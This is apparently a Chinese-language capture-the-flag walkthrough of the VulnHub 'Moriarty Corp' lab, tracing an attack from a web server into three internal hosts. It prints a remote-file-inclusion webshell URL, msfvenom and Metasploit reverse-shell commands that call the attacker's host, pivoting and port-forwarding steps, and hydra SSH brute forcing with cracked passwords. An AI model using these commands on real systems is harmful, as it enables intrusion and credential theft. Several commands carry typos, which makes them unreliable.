Moriarty Corp靶场环境包含一台外网服务器和三台内网主机,攻击者需先对外网服务器进行web攻击,依据提交flag后的提示信息,逐步获取内网主机权限。
1、靶场环境
攻击机kali:191.168.239.131
Moriarty Corp: web:192.168.239.135 内网:172.17.0.3
Moriarty Corp 内网1:172.17.0.4
Moriarty Corp 内网2:172.17.0.5
Moriarty Corp 内网3:172.17.0.7
靶场详情:
https://www.vulnhub.com/entry/boredhackerblog-moriarty-corp,456/
靶场下载地址:
Download (Mirror):
https://download.vulnhub.com/boredhackerblog/MoriartyCorp.ova
Download (Torrent):
https://download.vulnhub.com/boredhackerblog/MoriartyCorp.ova.torrent
注意: 外网服务器8000端口为提交flag以及攻击提示处,并不存在漏洞,不要进行攻击。Flag的存储格式为#_flag.txt,通常存储在服务器的不同目录下面。每次提交flag后都会给相关提示和说明。开始渗透之前须向外网服务器8000端口提交flag{start},表示攻击开始正常启动。
2、扫描开放端口
3、访问8000端口,根据提示先输入flag{start}进行提交
4、提交后,得到第二步提示,去访问80端口
5、访问后尝试点击了两个链接Blog Post1 2,发现其url很像是目录遍历或文件包含漏洞
6、文件包含漏洞验证
7、文件包含漏洞,通常分为本地文件包含和远程文件包含。本地文件包含,通常需要能够写入webshell的文件进行包含,进而获取shell权限。远程文件包含,可对远程写入webshell的文件进行包含,获取shell权限。
尝试远程包含文件,访问远程主机的webshell,成功执行
http://192.168.239.135/?file=http://192.168.239.129/shell.txt&a=phpinfo();
8、使用菜刀或蚂剑连接获取webshell,在根目录找到第一个flag
9、在8000端口下提交flag,获取下一步提示,说有一个内部图片数据库站点,也就是web服务器,需要对内网进行扫描,扫描开放80端口的内网主机,并且内网范围在172.17.0.3-254段
flag{the_game_is_on}
10、反弹shell
攻击机设置监听
use exploit/multi/handler
set payload linux/x64/meterpreter_reverse_tcp
set LHOST 192.168.239.131
set LPORT 6666
exploit -j
生成用于反弹的payload文件
msfveom -p linux/x64/meterpreter_reverse_tcp LHOST=192.168.239.131 LPORT=6666 -f elf > shell.elf
将生成的木马文件上传到目标主机,并修改执行权限,执行。
chmod 777 shell.elf
./shell.elf
kali攻击端收到目标主机反弹的shell
使用ifconfig命令查到目标系统的内网地址为172.17.0.3
11、创建路由 run autoroute -s 172.17.0.0/24
backgroud命令将会话退到后台,使用route命令查看添加的路由
12、使用msf扫描模块扫描开发了80端口的内网主机
13、扫描发现有三台主机开放了80端口
14、172.17.0.4应该是要攻击的内网主机
sessions -i 1 回到反弹的shell
portfwd add -L 192.168.239.131 -l 2424 -p 80 -r 172.17.0.4,将本地的2424端口转发到172.17.0.4的80端口
访问192.168.0.2424,是一个文件上传的页面,上传需要密码
15、开启bp抓包,上传一句话木马shell.php,随便输一个密码,找个字典进行爆破
password 的length数值不一样,然后使用该密码成功上传shell.php
16、对木马进行测试,点击shell.php可获取路径
17、使用菜刀或蚁剑进行连接
18、根目录找到第二个flag进行提交,并获得下一步提示
flag{picture_is_worth_1000_words}
19、第二个flag提交后给出了新的提示,给出了一些用户名和密码hash值,对内网的ssh服务进行弱口令爆破。
通过对hash值进行破解结果如下:
root、toor、password、admin、guest、MORIARTY、MCORP、mcorp、weapons、moriarty
20、先用proxychains工具进行代理,编辑配置文件
vim /etc/proxychains.conf
最后一行加上 socks4 192.168.239.131 1080
使用socks4a代理
扫描22端口,找到内网ip为172.17.0.5
proxychains nmap 172.17.0.0/24 -sV -sT -Pn -T4 -P22
21、使用hydra进行ssh爆破,将提示的账号和密码分别新建文件,user.txt pass.txt
proxychains hydra -L user.txt -P pass.txt ssh://172.17.0.5 -t 4
获得正确用户名root 密码weapons
22、连接ssh到内网主机,一直重复后几次才连上
proxychaains ssh root@172.17.0.5
在根目录找到第三个flag
flag{what_weapons}
22、如果命令一直连不上,可以使用MobaXterm工具设置代理进行ssh连接
23、flag提交后给出了新的提示,主要是内容是说存在一个聊天网站,管理员的聊天记录存在有价值的信息,并且服务器开放端口可能有443,8000,8080,8888
扫描内网找到172.17.0.6开放了8000端口
proxychains nmap 172.17.0.0/24 -sV -sT -Pn -T4 -p443,8000,8080,8888
24、上面使用 auxiliary/server/socks4a 做代理,burpsuite 不支持 socks4a 代理,导致无法使用 burp 去抓包,为了省事又用了端口转发。
回到内网反弹的shell,进行端口转发
25、访问192.168.239.131:1414,需要登陆,使用提示给出的buyer13/arms13登录,网站有两个功能,一个是chats和一个change password,应该是修改admin的密码查看admin的chats内容。
25、点击change password,开启bp抓包,随意输入密码,点击change进行抓包
重新使用admin登陆,点击chats
26、提交flag,获取新的提示,一台主机运行这Elasticsearch服务,百度搜一下该服务默认端口为9200,且存在框架漏洞
27、对内网开放9200端口的主机进行扫描,发现172.17.0.7开放了9200端口
proxychains nmap 172.17.0.0/24 -sV -sT -Pn -T4 -p9200
searchsploit功能进行版本漏洞搜索
使用第一个36337.py脚本执行远程代码执行漏洞,可能是脚本有问题没有执行成功
网上有的人可以正常执行
最后提交flag,百度搜一下手动进行命令执行的方法。